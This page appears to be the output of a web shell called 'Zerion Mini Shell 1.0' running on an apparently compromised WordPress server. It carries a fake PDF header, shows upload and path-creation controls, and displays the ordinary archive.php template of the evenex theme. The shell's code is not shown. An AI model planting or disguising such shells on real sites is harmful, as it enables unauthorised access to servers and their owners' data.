%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/wp-content/themes/evenex/
Upload File :
Create Path :
Current File : /var/www/html/higroup/wp-content/themes/evenex/archive.php

<?php

   get_header();
   if ('xs-speaker' == get_post_type()) {
      get_template_part( 'template-parts/banner/content', 'speaker-post-banner' );
   } else {
      get_template_part( 'template-parts/banner/content', 'banner-blog' );
   }

   $blog_sidebar = evenex_option('blog_sidebar',3);
   $column = ($blog_sidebar == 1 || !is_active_sidebar('sidebar-1')) ? 'col-lg-12' : 'col-lg-8 col-md-12';


?>

<div id="main-content" class="blog main-container" role="main">
	<div class="container">
		<div class="row">
         <?php
            if($blog_sidebar == 2  && 'xs-speaker' != get_post_type()):
               get_sidebar();
            endif;
         ?>
         <div class="<?php echo 'xs-speaker' === get_post_type() ? esc_attr("col-lg-12") : esc_attr($column);?>">
               <?php if ( have_posts() ) : ?>

                     <?php
                        if ('xs-speaker' == get_post_type()) {
                           if ( have_posts() ) { ?>
                              <div class="row">
                              <?php
                                  while ( have_posts() ) {
                                       the_post();
                                       if (class_exists('ACF')) {
                                          get_template_part( 'template-parts/blog/contents/content', 'speakers' );
                                       }
                                  }
                              ?>
                              </div>
                              <?php
                          }
                        } else {
                           get_template_part( 'template-parts/blog/category/layout', 'layout' );
                        }
                        get_template_part( 'template-parts/blog/paginations/pagination', 'style1' );

                     else :
                        get_template_part( 'template-parts/blog/contents/content', 'none' );
                     endif;
               ?>

        </div><!-- #col -->
         <?php
            if($blog_sidebar == 3  && 'xs-speaker' != get_post_type()):
				   get_sidebar();
            endif;
         ?>
     </div><!-- #row -->
	</div><!-- #container -->
</div>

<?php
get_footer();

Zerion Mini Shell 1.0